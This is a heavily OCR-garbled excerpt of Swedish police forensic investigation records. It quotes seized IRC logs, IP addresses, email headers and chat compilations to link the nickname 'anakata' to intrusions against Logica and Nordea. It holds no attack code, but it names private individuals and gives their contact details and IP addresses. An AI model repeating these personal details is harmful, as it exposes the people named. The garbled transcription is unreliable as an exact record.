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I truecrypt containern i beslag 20 12-020 1 -BG25023-26 återfanns följande i 
loggfilen #corebootfreenode. log: 

201 1 -07-24 23:51 <flyback> what country you in 

201 1 -07-24 23:51 <tmzt_> 
they have someth ing else, seria l ice ,  which al lows a remotely 
runn ing qemu to run it's commands on real hardware 

201 1 -07-24 23:51 <tmzt_> over a serial protocol 

201 1 -07-24 23:51 <tlt> probably cant do SMM though 

201 1 -07-24 23:51 <tlt> B 

201 1 -07-24 23:52 <tlt> but n ice concept 

201 1 -07-24 23:52 <tlt> 
i was actual ly th inking of doing someth ing l i ke that for qu ick 
testing of code on real hardware 

201 1 -07-24 23:52 <t l t> country? its not even the 3rd world 

201 1 -07-24 23:52 <t l t> its the 4th world! 

201 1 -07-24 23:52 <flyback> Uh 

201 1 -07-24 23:52 <flyback> where? 

201 1 -07-24 23:56 <t l t> . KH 

201 1 -07-24 23:56 <flyback> too far the n :1 
201 1 -07-24 23 :56 <tlt> too far for what? 

201 1 -07-24 23:57 <flyback> me to send you a sh itload of old mb's 

201 1 -07-24 23:57 <tlt> oh i '  d glad ly pay sh ipping costs and owe you a favor or two 

201 1 -07-24 23 :58 <flyback> l am in  us 

201 1 -07-24 23:58 <flyback> probably not worth it 

201 1 -07-24 23:58 <t l t> you have any boards with 440bx chipsets by any chance? 

201 1 -07-24 23 :58 <flyback> 5 

201 1 -07-24 23:58 <flyback> or so 

201 1 -07-24 23 :58 <t l t> <=== 

201 1 -07-24 23:59 <flyback> 
mabye though l cou ld setup a box you could login to to play 
with 

201 1 -07-24 23:59 <tlt> heh 

201 1 -07-24 23 :59 <flyback> l thi nk  most of mine though 

201 1 -07-24 23:59 <flyback> they sa id they wi l l  mever get careboat 

201 1 -07-24 23:59 <tlt> remote bios/smm dev .. k inda hardcore 

201 1 -07-24 23:59 <flyback> because inte! did someth ing wei rd 

201 1 -07-24 23:59 -> *n ickserv* identify a jon 1 es 

201 1 -07-25 00 :00 <tmzt_> kazakh? 

201 1 -07-25 00:00 <t l t> kampuchea 

201 1 -07-25 00:00 <tlt> (cambodia) 

201 1 -07-25 00 :00 <tmzt_> oh 

201 1 -07-25 00:00 <t l t> flyback: are you seeing my messages ? 

I truecrypt containern i beslag 20 1 2-020 1 -BG25023-26 återfanns följande i 
loggfilen CareBear _freenode. log: 

201 1 -07-25 2 1 :23 l <tlt> l jajustdet, du pysslade med careboat ja 

201 1 -07-25 2 1 :23 l <tlt> J blev l ite overraskad av att se d ig forst 

201 1 -07-26 04:22 <CareBear\> se mig var? : )  

201 1 -07-26 04:22 l <tlt> L #coreboot 

201 1 -07-26 04:23 l <tlt> J <== ann iz 

201 1 -07-26 04:23 <CareBear\> jaha ja jo careboat gör jag jepp 
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I truecrypt containern i beslag 20 1 2-020 1 -BG25023-26 återfanns följande i 
loggfilen #hack.se.EFNet. log: 

201 1 -08-1 1 1 5 : 1 0  <@noa h_> kol lade l ite på Erlang igår. verkl igen udda syntax. 

201 1 -08-1 1 1 5 : 1 4  <@jrydberg> mm m 

201 1 -08-1 1 1 5 : 1 4  <@jrydberg> fattar i nte varför man gör så eg 

201 1 -08-1 1 1 5 : 1 4  <@jrydberg> haskel l  är ju l i ka fucked up 

201 1 -08-1 1 1 5 : 1 4  <@jrydberg> 
och varför är i nte ann iz här och säger att haxxe har bäst 
syntax ? 

201 1 -08-1 1 1 5 : 1 5  <@noah_> och ocaml .  

201 1 -08-1 1 1 5 : 1 6  <@noa h_> 
han är väl upptagen med att b l i  breast feeded med tjack av 
nåt . kh l uder 

201 1 -08-1 1 1 5 : 1 7  <+Zeotrope> haha 

I truecrypt containern i beslag 20 1 2-020 1 -BG25023 -26 återfanns följande i 
loggfilen polmafiafreenode. log: 

201 1 -07-1 3 23 :56 <tLt-> bu u ut 

201 1 -07-1 3 23 :56 <tLt-> there is so much that can be done related to video 

201 1 -07-1 3 23:57 <tLt-> not just rnaving bits around 

201 1 -07-1 3 23:57 <polmafia> h m  hm? 

201 1 -07- 1 3  23:57 <tLt-> 
if i j ust wanted to do standard video i wouldnt even need you 

: ) 
201 1 -07-1 3 23:57 <polmafia> tell me more 

201 1 -07-1 3 23:57 <tLt-> wei l ,  you are the creative one after all ! 

201 1 -07-1 3 23:58 <tLt-> 
besides dant deny thai youve come up with good ideas for 
video 

201 1 -07- 1 3  23:58 <tLt-> : D  

201 1 -07-1 3 23 :58 <polmafia> ha i see what u mean 

201 1 -07-1 3 23:58 <tLt-> + !here is the stratus l RTMFPE peer2peer crap in flash 

201 1 -07-1 3 23 :58 <polmafia> wei l  of course :] 

201 1 -07-1 3 23 :58 <polmafia> hm mm 

201 1 -07-1 3 23:59 <tLt-> thai can probably be abused for lots of stuff 

201 1 -07-1 3 23:59 <tLt-> inc lud ing turn ing flash player i nta pi rale bay : D  

201 1 -07-1 3 23:59 <polmafia> haha 

201 1 -07- 1 4  00:00 <polmafia> yeeeh !  

201 1 -07- 1 4  00:00 <polmafia> wei l  !hat' s more of your  creative side !here, but go gottfrid go ! 

201 1 -07- 1 4  00 :01  <polmafia> 
ya i had ideas l ike inserting marketi ng stuff i nta videos with 
shape tracking ,  for same king of youwal let .com 

remember also there's a Iot of video ana lysis and such that 
201 1 -07- 1 4  00 :01  <tLt-> isnt realt ime in a browser, but thai flash is a very good 

runtime for anyways 

I truecrypt containern i beslag 20 1 2-020 1 -BG25023 -26 återfinns bland annat 
följande lP-adresser som tLt ansluter ifrån i flera loggfiler. 

1 201 1 -07-1 1 1 7:49 

1 200 1 -0 1 -03 07 :21  

200 1 -0 1 -03 06:48 

tLt- (-111@ 1 24.248 . 1 87.94) has joined ##asm 

tLt (-rip ley@1 24 .248. 1 87 . 1 7)  Quit (P ing t imeout) 

tLt- (-ripley@1 24.248 . 1 87.76) Quit (P ing timeout 252 
seeonds 
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Dessa lP-adresser har även påträffats i beslag 20 1 2-020 1 -BG25023-26 och 
kan sättas i samband med intrånget mot Nordea. 

Ident "ripley " ansluter ofta från samma lP-adress. I truecrypt containern i 
beslag 20 12-020 1 -BG25023 -26 återfanns följande i loggfilen 
##asm.freenode. log: 

2001 -0 1 -02 1 3 :57 l <tU> l i got 'r ipley' from http://pastebin .com/G8SKBpWh : D  

200 1 -0 1 -02 1 3 :58 . gxdssoft (-gxdssoft@1 90.8 1 . 1 07 . 1 53) has joined ##asm 

200 1 -0 1 -02 1 3 :58 < I ndian> ok 

200 1 -0 1 -02 1 3 :58 < I ndian> l am read ing l need to come back when l need to ask 

200 1 -0 1 -02 1 3 :58 <m apa> ripley? 

200 1 -0 1 -02 1 3 :58 
tU is -rip ley@1 24.248 . 1 87.61 • too weird to l ive; too bad 
example to d ie 

200 1 -0 1 -02 1 3 :58 tU on ##flash ##re ##asm #haxe 

200 1 -0 1 -02 1 3 :58 tU using card .freenode. net Washington ,  DC,  USA 

200 1 -0 1 -02 1 3 :58 tU is connecting from *@1 24.248. 1 87 .61  1 24 .248 . 1 87 .61  

200 1 -0 1 -02 1 3 : 58 tU has been id le 25secs , signed on Wed Oct 1 2  2 1 :29: 1 4  

200 1 -0 1 -02 1 3 :58 tU is logged i n  as tU 

200 1 -0 1 -02 1 3 :58 t l t  End of /WHOIS l ist . 

200 1 -0 1 -02 1 3 :58 f<tU> l tU is -ripley@ 1 24.248 . 1 87 .61  • too wei rd to l ive; too bad 
example to d ie 

tLt skriver här att han använder sig av Ident "ripley ". Notera även "tLt is 
�ripley@124.248. 187. 61 " i ovanstående utdrag. 

I truecrypt containern i beslag 20 1 2-020 1 -BG25023 -26 återfanns följande i 
loggfilen #hack.se.EFNet. log: 

201 1 -07-1 4 1 0 : 3 1  <tU> g ah 

201 1 -07- 1 4  1 0 :3 1  <tU> andra gangen jag b l i r  bannad 

201 1 -07-1 4 1 0 :3 1  <tU> ! 

201 1 -07- 1 4  1 0 : 3 1  <@darkn ite> tU: skyll dig själv. seriöst. 

201 1 -07-1 4 1 0 :3 1  <tU> n i  ar ju helt bortom flotet a l l ihopa 

201 1 -07- 1 4  1 0 : 3 1  <tU> darknite: jag hade ha l i t  med dig 

201 1 -07-1 4 1 0 :3 1  <tU> om 

201 1 -07- 1 4  1 0 :32 <@darkn ite> lägg in  dig som exception då : D  

201 1 -07- 1 4  1 0 :32 <tU> 1 .  jag faktiskt hade bytt n ick 

201 1 -07- 1 4  1 0 :32 <@snuggl> 
tU: du får säga vem du är när du byter n ick varje gång du  
får en ny påse knark 

201 1 -07- 1 4  1 0 :32 <tU> OCH 

201 1 -07- 1 4  1 0 :32 <tU> l 2. det hade varit van l igt att folk joinar har fra n asiatiska l P-
addrs 

201 1 -07- 1 4  1 0 :32 <@darkn ite> 1 2 :25 - !- tU- [tlt@ 1 24.248 . 1 87.94] has joined #hack.se 

201 1 -07- 1 4  1 0 :32 <@darkn ite> seriöst 

201 1 -07- 1 4  1 0 :32 <tU> SAMT 

201 1 -07- 1 4  1 0 :32 <@darknite> hade din ident varit 'r ip ley' hade det inte hänt 

201 1 -07-1 4 1 0 :32 <tU> 3. jag i nte varit enda kambodjanen PA E FN ET 

201 1 -07-1 4 1 0 :32 <@darkn ite> byta n ick OCH iden! = sucks to be youwish 
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201 1 -07- 1 4  1 0 :32 <@darkn ite> (see what i did there?) 

201 1 -07- 14  1 0 :33 <tU> spec nar jag skriver det jag skrev som forstamening 

201 1 -07- 1 4  1 0 :33 <tU> btw ni e ju  webhoror bada tva 

201 1 -07- 14  1 0 :33 <tU> jag fi lar pa html-templatesystem t i l l ltapplsrv 

201 1 -07- 1 4  1 0 :34 <@darkn ite> a l ltså, jag skyl ler på din ident och att du använde en smi ley 

201 1 -07- 1 4  1 0 : 34 <@tlund> tlt: vem är det du försöker gömma dig ifrån? 

201 1 -07- 1 4  1 0 :34 <tlt> INGEN 

201 1 -07- 1 4  1 0 :34 <tlt> jag bara g i l lar  omvaxl ing 

201 1 -07-1 4 1 0 :34 <@tlund> tlt: så varför i nte /n ick anakata? 

201 1 -07- 1 4  1 0 :34 <tU> el ler ja snarare att jag inte har nagot n ick 

201 1 -07- 14  1 0 :34 <@tlund> att bl i  kickad = =  omväxl ing? ; )  

201 1 -07- 1 4  1 0 :35 <tlt> jag har detta problem i en enda kanal 

201 1 -07- 1 4 1 0 :35 <tU> p a 

201 1 -07- 1 4  1 0 :35 <tU> EN 

201 1 -07- 14  1 0 :35 <tlt> TVA 

201 1 -07- 1 4  1 0 :35 <tU> TRE 

201 1 -07- 14  1 0 :35 <tlt> FYRA 

201 1 -07- 1 4  1 0 :35 <tLt> FEM 

201 1 -07- 1 4  1 0 :35 <tlt> SEX 

201 1 -07- 1 4  1 0 :35 <tU> i rcservrar/natverk 

201 1 -07- 1 4  1 0 :35 <@snuggl> =D 

201 1 -07-1 4 1 0 :35 <tlt> mystiskt nog vet a l la vem jag ar i a l la nadr akanaler 

201 1 -07- 1 4  1 0 :35 <@darkn ite> dom har väl inte så många kompisar att hål la reda på 

201 1 -07- 1 4  1 0 :35 <tU> fa se nu  har 

201 1 -07- 1 4  1 0 :36 <tU> #haXe,  #asm, #tamarin ,  #grsecurity . . .  

tLt blir i utdraget upprörd över att han blir utkastad ur kanalen och menar att 
det inte är så många som ansluter från Asien att det borde vara ett problem. 
darknite och t lund menar att hade tLt haft sitt vanliga nick Anakata eller 
använt sin vanliga ldent "ripley ". 

Ä ven i det material som inhämtats från Passagen syns också kopplingen 
mellan, Anakata, tLt och ldent "ripley ". I materialet återfanns följande i 
loggfilen tiamo. txt. 

vart 

med då? man är l ite sugen på att åka 
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I samma fil påträffades följande utdrag. 

shit vad sveriges befolkning e trygghetsknarkare a l itsa . .  
201 2-03-30 03:03 <tlt> l i ksom , skv in rattar en telefon l inje for folk med skyddad 

identitet som behover ngn att prata med : PPPP 

201 2-03-30 03 :06 <scrm> undrar varför 

201 2-03-30 03: 1 o <snocrash> var  ar nyheten?? 

201 2-03-30 03 : 1  o <snocrash> jaja 

201 2-03-30 03 : 1  o <snocrash> jag surfar val l  ti l l  idg 

201 2-03-30 03 : 1 1  <snocrash> anakata: ar du inblandad i detta min herre? 

201 2-03-30 03: 1 5  <red lum> suck 

201 2-03-30 03: 1 5  <snocrash> va suckar du om 

201 2-03-30 03: 1 5  <snocrash> Har nagon testat Office 365 

201 2-03-30 03: 1 6  . henrik is now known as Zeromatic 

201 2-03-30 03:20 <red lum> nån stal min ipad 

201 2-03-30 03 :21  <tlt> snocrash :  INTE ALLS 

201 2-03-30 03 :21  . tlt OSKYLDIG 

201 2-03-30 03:22 . tlt z/OSKYL.D044. 1 G  :D  

j ag  hja lper bara de stackars ensamkommande 
raketforskarbarnen! 

201 2-03-30 03:24 <tlt> https://meritwager. word press .com/201 2/03/23/skatteverket-
har-fatt-order-om-att-frigora-1 0-000-tiotusen-
personnummer-for-somal iska-anharigal 

201 2-03-30 03:24 <urandom> 
tlt's URL title :  Skatteverket har fått order om att frigöra 
1 0 .000 (tiotusen ! )  personnummer för somal iska anhöriga « 

Det som kan sägas om ovanstående är att snocrash tilltalar tLt som anakala 
och tLt svarar på tilltal. Dessutom svarar han med saker som indikerar att han 
är inblandad i dataintrånget mot Logica. 
OSKYLDIG som han därefter skojar till det med z/OS är det operativsystem 
som körs på stordatorn och D044 är det prefix Logica använder för dataset 
tillhörande skatteverket. 

Joakim Persson 

Tel: 0 1 0-56 366 34, 0733 -3 1 5 1  6 1  
j oakim. persson@polisen. se 
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Polisen Undersökni ngsprotokol l  
Datum 

Pol ismynd ig heten i Stockhol m s  län 20 1 3-0 1 -2 1  Version 1 . 1 .64 

Länskriminalpolisavdelningen Diarienr (åberopas vid korresp) 

IT-forensiska sektionen 020 1 -K8 1 864- 1 2  

Undersökningsprotokoll för beslag 2012-0201-BG25708 
(2 bilagor) 

Utredn ingsman Bestäl lande enhet Telefon t i l l  utredn ingsman 

LU/S 

Handläggare på !T-forensiska sektionen Medundersökare 

Kriminalinspektör John steenmark 

Arendetyp Undersökn ingstyp 

Dataintrång Analys av IT-media 

I n kom t i l l iT-forensiska sektionen Undersökningen påbörjad datum 

20 1 2-03-23 20 1 2-09-25 

Undersökn i ngsadress 

Inledning 

I samband med utredningen av ärendet 020 1 -K8 1 864- 1 2  noterades att gods i 
det så kallade "Pirate Bay-målet", ärende 020 1 -K 1 0 1 9 1 7-06, fanns kvar och 
ännu inte utlämnat. Det beslutades då att Svartholm W args dator med 
beslagsnummer 2006-0240-BG595-3 ,  åter skulle tas i beslag och analyseras 
inom ramen för denna utredning. 

430 

l (5) 
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2012-0201-BG25708-1 

Dator HP Compaq NX70 l O 

Filer och kataloger 

En fil vid namn "README" påträffades i användaren anakatas hemkatalog 
under sökvägen "/home/anakatalhackse/README ".  I denna fil återfinns 
användaren "dirox", se utdrag nedan. Filen är i sin helhet en dokumentation 
om hur man accessar ett CVS system, se bilaga 20 1 2-020 1 -BG25708 - 1 . 1  
README. Filen sparades senast den 9 september 2003 . 

"De som h a r  konto n u  ä r :  

wowie pewp fla s h n  e reed sto k b a s h i s  
d o  z e s n uggl n i l s  s u id  sno  milkyn 
noa h e i p  e h o r u s  t l u n d  t i a  mo kub a 
winkle a h n be rg j e  a n a kata elements  minizt ry 
motion bruee  happy - h  ioee  j avax d reamer 
n idan elfan me re ur s a n dyman m s r v 
bit be a k e haoz kor e s poekie  s e rearner 
a - hobbe tweak  d i  ro  x psyele  klymax darknite" 

Utdrag l ur /homelanakatalhackse/README 

Mail korrespondens 

E-post korrespondens, daterat till 2005 mellan luciddream @ gmail. com och 
adresserna injo @prq. se och gottfrid@prq. se har påträffats .  Se bilaga 20 1 2-
020 1 -BG25708- 1 .2 E-post. 

Fro m :  Gottfrid Svartho l m  < gottfrid @ p rq . se >  

To: M ath ias  G u stafsson < l u ci d d rea m @ g m a i l . co m >  

Subject: Re : H o h o  

Sent: S u n ,  08 J a n  2006 0 2 : 2 3 : 56 + 0 1 0 0  

Fro m :  M ath ias  G ustafsson < l u ci d d rea m @ g m a i l . co m >  

To : a n a kata @ p rq . se 

Subject: m i n  key 

Sent: Th u ,  22 Sep 2005 2 1 : 39 : 3 2 + 0 2 0 0  

Fro m :  M ath ias  G ustafsson < l uc iddrea m @ g m a i l . co m > 

To : i nfo @ prq . se 

Subject:  H ej : P  

Sent: Tue ,  0 1  Nov 2005 1 6 : 1 7 : 4 1 + 0 1 0 0  

From : M ath ias  G ustafsson < l u ci d d rea m @ g m a i l . co m >  

To : i n fo @ prq . se 

Subject: mera p å rr 

Sent: Tue, 0 1  Nov 2005 1 6 : 3 6 : 3 1  + 0 1 0 0  

432 
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Undersökn ingsprotokol l  för beslag 20 1 2-020 1 -BG25708 , 20 1 3-03-27 1 7 :41  d iar ienr: 020 1 -K8 1 864- 1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  

Fro m :  Mathias G ustafsson < l u ciddrea m @ g m a i l . co m >  

To: i nfo @ p rq .se 

Subject: pårr l ä n kar !  

Sent:  Tue,  0 1  Nov 2 0 0 5  1 6 : 57 : 03 + 0 1 0 0  

Fro m :  Mathias G u stafsson < l u ciddrea m @ g m a i l . co m > 

To: i nfo @ prq . se 

Subject: v i l l  d u  g i fta d i g ?  : P  

Sent: Tue,  0 1  Nov 2 0 0 5  1 7 : 1 7 : 45 + 0 1 0 0  

Fro m :  
To: 

Math ias G u stafsson < l uc iddrea m @ g m a i l . co m >  

i nfo @ p rq .se 

Subject: en fråga  

Sent:  Tue,  0 1  Nov 2005 1 9 : 59 : 44 + 0 1 0 0  

Fro m :  Mathias G ustafsson < l u ciddrea m @ g ma i l . co m >  

To : i nfo @ prq . se 

Subject: h a l l å  h a l l å  

Sent: Tue, 08 N o v  2 0 0 5  22 : 24 : 32 + 0 1 0 0  

Fro m :  Gottfrid Svartho l m  < gottfri d @ p rq . se > 

To : Mathias G u stafsson < l uc iddrea m @ g m a i l . co m >  

Subject: beta l n i n g sa n m ä rk n i n g  

Sent: Th u ,  2 2  Sep 2005 2 1 : 53 : 3 2 + 0 2 0 0  

Fro m :  Gottfrid Svartho l m  < gottfri d @ p rq . se >  

To : Mathias G ustafsson < l u ciddrea m @ g ma i l . co m >  

Subject: Re : Hej : P  

Sent: Tue, 0 1  Nov 2005 1 6 : 33 : 47 + 0 1 0 0  

Fro m :  Gottfrid Svartho l m  < gottfrid @ p rq . se >  

To : Mathias G u stafsso n  < l u ciddrea m @ g ma i l . co m >  

Subject: Re : mera pårr 

Sent: Tue, 0 1  Nov 2005 1 6 : 53 : 34 + 0 1 0 0  

From : Gottfrid Svartho l m  < gottfri d @ p rq . se > 

To : Mathias G ustafsson < l u ciddrea m @ g m a i l . co m >  

Subject: Re : pårr l ä n kar !  

Sent:  Tue,  0 1  Nov 2005 1 7 : 0 3 : 54 + 0 1 0 0  

020 1 -K8 1 864- 1 2  

433 
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Undersökn i ngsprotoko l l  för beslag 201 2-020 1 -BG25708, 20 1 3-03-27 1 7 :41  d iar ienr:  020 1 -K8 1 864- 1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 l -K8 1 864- 1 2  

Analys och slutsats 

Användamamnet "dirox" fanns med i kretsarna runt "anak:ata" redan 2003 . 
Tillsammans med mailkorrespondensen talar detta för att Svartholm W arg 
kände Gustafsson vid denna tid. 

434 
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Sammanstäl ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iarienr :  020 1 -K8 1 864- 1 2  
Länskri minalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 

Datum Användare Chatmeddelande 

201 2-02-05 07:54 1 8  <Chorus> *** Mode for channel #hack. se is +Sink purged"" 
201 2-02-05 07 :54 1 8  <Chorus> 
201 2-02-05 08:00 22 * 

201 2-02-05 08:01 22 * 

201 2-02-05 08:01  22 * 

201 2-02-05 08:02 22 * 

201 2-02-05 08:02 31 
201 2-02-05 08:02 22 * 

201 2-02-05 08:02 22 * 

201 2-02-05 08:03 22 * 

201 2-02-05 08:03 

1 6 kr när man var där 

Bi laga Passagen.2 · Sammanstäl ln ing av xchat2.xlsx 

Nätverk 

EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 

020 1 -K81 864- 1 2  435 

Kanal/Person/Fi l 

chorus.txt ( 1 632) 
chorus .txt ( 1 632) 
chorus.txt ( 1 632) 
chorus.txt ( 1 632) 
chorus.txt ( 1 632) 

0 1 .00 



Sammanstäl ln ing av xchat2 , 201 3-03-27 1 5 :39 d iar ienr:  020 1 -K8 1 864-1 2 
Länskri mi nalpolisavdeln ingen, !T-forensiska sektionen 201 2-05-21 

Datum Användare Chatmeddelande 

201 2-02-05 1 5 :06 22 . Disconnected (Connection reset by peer) . 
201 2-02-05 1 5 :06 22 . Disconnected (Connection reset by peer) . 
201 2-02-05 1 5 :06 22 . Disconnected (Connection reset by peer). 
201 2-02-06 1 7 : 1  o 1 8  <ChorUS> • • •  Mode for channel #hack. se is +Sink purged"" 
201 2-02-06 1 7: 1  o 1 8  <Chorus> • • •  Channel #hack.se created on Sat Mar 24 23:33:51 2001 CET 
201 2-02-06 1 7 : 1 8  1 8  <Chronic > 
201 2-02-06 1 7 : 1 8  1 8  <chronic > 
201 2-02-06 1 7 :21 31 sov ) 
201 2-02-06 1 7:21  18 <chronic > 
201 2-02-06 1 7 :21 31 
201 2-02-06 1 7:21  

201 2-02-06 1 7 :36 
201 2-02-06 1 8 : 1 4  1 8  <Chorus> • • •  Mode for channel #hack. se is +Sink purged"" 
201 2-02-06 1 8 : 1 4  1 8  <Chorus> • • •  Channel #hack.se created on Sat Mar 24 23:33:51 2001 CET 
201 2-02-06 1 9 : 1 7  1 8  <chronic > o, e du inne på hack.se@ircnet oxå? 
201 2-02-06 1 9 : 1 7  3 1  3 0  inte n u ,  vart ett t sen jag hängde där 
201 2-02-06 1 9 : 1 8  1 8  <Chronic > haru keyn dit choruz gurka grejjen e lite gammai : P  
201 2-02-06 1 9 : 1 8  1 8 <chronic > gav iofs keyn t i l l  efnet kanalen i början : )  
201 2-02-06 1 9 : 1 9  1 8  <Chronic > al lså purged nyckeln  
201 2-02-06 20:06 23 . 23chronic has guit (23Read error :  Connection reset by peer23) 
201 2-02-06 2 1  :06 Python interface un loaded 
201 2-02-06 21  :06 Tel i nterface un loaded 
201 2-03-03 20:05 1 8  <Chorus> • • •  Mode for channel #hack.se is +Sink purged"" 
201 2-03-03 20:05 1 8  <ChorUS> ••• Channel #hack.se created on Sat Mar 24 23:33:51 2001 CET 
201 2-03-03 22:27 

Bi laga Passagen.2 · Sammanstäl ln ing av xchat2.xlsx 

0201 -K81 864- 1 2 436 

Nätverk 

EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet 
EFnet chronic 
EFnet chronic 
EFnet chronic 
EFnet 

EFnet 
EFnet 
EFnet 
E Fnet 
EFnet chronic 
EFnet chronic 
EFnet chronic 
EFnet chronic 
EFnet chronic 
EFnet chronic 
EFnet 
EFnet 

0 1 .00 



Sammanstä l ln ing av xchat2 , 201 3-03-27 1 5 :39 d iar ienr:  020 1 -K8 1 864-1 2 
Länskrim inalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 

Datum Användare 

201 2-03-04 00:20 22 . 
201 2-03-04 00 :20 22 . 
201 2-03-04 00:21 22 . 
201 2-03-04 00:21 1 9 . 
201 2-03-04 00:21 22 . 
201 2-03-04 00:21 22 . 
201 2-03-04 00:26 31 
201 2-03-04 00:41 22 . 
201 2-03-04 00:41 22 . 
201 2-03-04 00 :42 1 9  • 

201 2-03-04 00 :42 22 . 

201 2-03-04 01 :58 1 9  • 

201 2-03-04 07 : 1 6  22 . 
201 2-03-04 07: 1 6  1 9 . 
201 2-03-04 07: 1 6  22 . 
201 2-03-04 07 : 1 6  22 . 
201 2-03-04 07: 1 6  22 . 
201 2-03-04 07:59 1 9  >111 1 9< 
201 2-03-04 08:31 22 . 
201 2-03-04 08:34 22 . 
201 2-03-04 08:34 22 . 
201 2-03-04 08:36 1 9 . 
201 2-03-04 08:36 22 . 
201 2-03-04 08:36 
201 2-03-04 08:47 
201 2-03-04 09 : 1 6  
201 2-03-04 09 : 1 6  22 . 
201 2-03-04 09: 1 6  22 . 
201 2-03-04 09 : 1 6  22 . 
2'" "-03-04 09: 1 6  1 9 . 

03-04 09 : 1 6  22 . 
21.,�-03-04 09: 1 6  22 . 
201 2-03-04 09 : 1 7  22 . 
201 2-03-04 09: 1 7  22 . 
201 2-03-04 09:42 22 . 
201 2-03-04 09:43 22 . 
;- 03-04 09 :43 22 . 
<. 03-04 09 :43 22 . 
201 2-03-04 09:43 1 9  • 

201 2-03-04 09:43 22 . 
201 2-03-04 09:43 22 . 
201 2-03-04 09:43 22 . 
201 2-03-04 1 0 :36 22 . 
201 2-03-04 1 0 :36 22 . 
201 2-03-04 1 0 :36 22 . 
201 2-03-04 1 0 :36 22 . 
201 2-03-04 1 0 :36 1 9 . 
201 2-03-04 1 0 :36 22 . 
201 2-03-04 1 0 :36 22 . 
201 2-03-04 1 0 :36 22 . 
201 2-03-04 1 0 :36 

Chatmeddelande 

Disconnected (Connection t imed out) . 
Disconnected (Connection timed out) . 
d i ROX sels mode +i d iROX 

1 9  Now talking on #hack. se 
tnet.stealth sels mode +n #hack. se 
tnet.stealth sels mode +t #hack. se 

30 hoho 
Disconnected (Connection t imed out) .  
Disconnected (Connection t imed out) . 

1 9  Now talking on #hack. se 
tnet.stealth sels mode +n #hack.se 

Disconnected (Connection t imed out) . 
1 9  Now talk ing on #hack.se 

Disconnected ( I nvalid argument). 
Disconnected ( I nvalid argument) . 
Disconnected ( I nvalid argument) . 

1 9  Now talking on #hack. se 
tnet.stealth sels mode +n #hack. se 
tnet.stealth sels mode +l #hack. se 
y 
Disconnected (Connection reset by peer) . 
Disconnected (Connection reset by peer) . 
Disconnected (Connection reset by peer) . 
Disconnected (Connection reset by peer) . 

1 9  Now talk ing on #hack.se 
tnet.stealth sets mode +n #hack.se 
tnet.stealth sels mode +l #hack. se 
d iROX sels mode +i  d iROX 
Received a CTCP VERSION from dkbot 
Disconnected (Connection t imed out) . 
Disconnected (Connection t imed out) .  
Disconnected (Connection t imed out) . 
Disconnected (Connection t imed out) .  

19 Now talking on #hack.se 
tnet.stealth sels mode +n #hack.se 
tnet.stealth sels mode +l #hack.se 
d iROX sels mode +i  d iROX 
Disconnected ( I nvalid argument) . 
Disconnected ( I nvalid argument) . 
Disconnected ( I nvalid argument) . 
Disconnected ( I nvalid argument) . 

1 9  Now talking on #hack. se 
tnet.stealth sels mode +n #hack.se 
tnet.stealth sets mode +l #hack. se 
d iROX already i n  use. Retrying with d i ROX 
d iROX sets mode +i d iROX 
••• Mode for channel #hack.se is  +Sink purged"" 

, drog tjack inatt, ska se om jag orkar upp f i len,  annars 

0201 -K81 864- 1 2  

Nätverk 

deka 

EFnet t iamo.txt ( 1 639) 
deka deka. lxt ( 1 654) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt 1 647 
EFnet tlt.txt ( 1 640) 
deka deka. lxt ( 1 654) 
EFnet tiamo .txt ( 1 639) 
EFnet t lt .txt ( 1 640) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
deka deka. lxt ( 1 654) 
EFnet tlt.txt ( 1 640) 
New Network #hack.se.txt ( 1 647) 
deka deka.txt ( 1 654) 
EFnet t iamo.txt ( 1 639) 
EFnet t lt .txt ( 1 640) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
deka deka.txt ( 1 654) 
EFnet t iamo.txt ( 1 639) 
EFnet t lt .txt ( 1 640) 
deka deka.txt ( 1 654) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
deka deka. lxt ( 1 654) 

Bi laga Passagen.2 - Sammanstäl ln ing av xchat2 .xlsx 0 1 .00 
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Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iarienr :  020 1 -K8 1 864- 1 2 
Länskriminalpol isavdeln ingen, Il-forensiska sektionen 201 2·05·21 

Bilaga Passagen.2 - Sammanstäl ln ing av xchat2 .xlsx 

020 1 -K81 864- 1 2 438 

0 1 .00 



Sammanstä l ln ing av xchat2 , 201 3-03-27 1 5 :39 d iarienr: 020 1 -K8 1 864- 1 2  
Länskrim inalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 020 1 -K81 864- 1 2  439 

deka.txt ( 1 654) 

Bilaga Passagen.2 - Sammanstäl ln ing av xchat2 .xlsx 0 1 .00 



Sammanstä l ln ing av xchat2 , 201 3-03-27 1 5 :39 d iar ienr:  020 1 -K8 1 864- 1 2 
Länskri m inalpol isavdel n ingen, !T-forensiska sektionen 201 2-05-21 020 1 -K81 864- 1 2 440 

Bilaga Passagen.2 · Sammanstäl ln ing a v  xchat2 .xlsx 01 .00 



Datum 

Sammanstä l ln ing av xchat2 , 201 3-03-27 1 5 :39 d iar ienr: 020 1 -K8 1 864- 1 2  
Länskrim i nalpol isavdel n ingen, !T-forensiska sektionen 201 2-05-21 

Användare Chatmeddelande Nätverk 

201 2-03-05 1 1  :05 men jag jobbar med b2 och gn ,  i nte med tn :s produkter så jag har inte så bra kol l  deka 

Bilaga Passagen.2  · Sammanstäl ln ing av xchat2 .xlsx 

0201 -K81 864- 1 2 44 1 

Kanal/Person/Fi l 

deka.txt ( 1 654) 

0 1 .00 



Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr :  020 1 -K8 1 864-1 2 
Länskri m inalpol isavdel ni ngen, !T-forensiska sektionen 201 2-05-21 0201 -K81 864- 1 2 442 

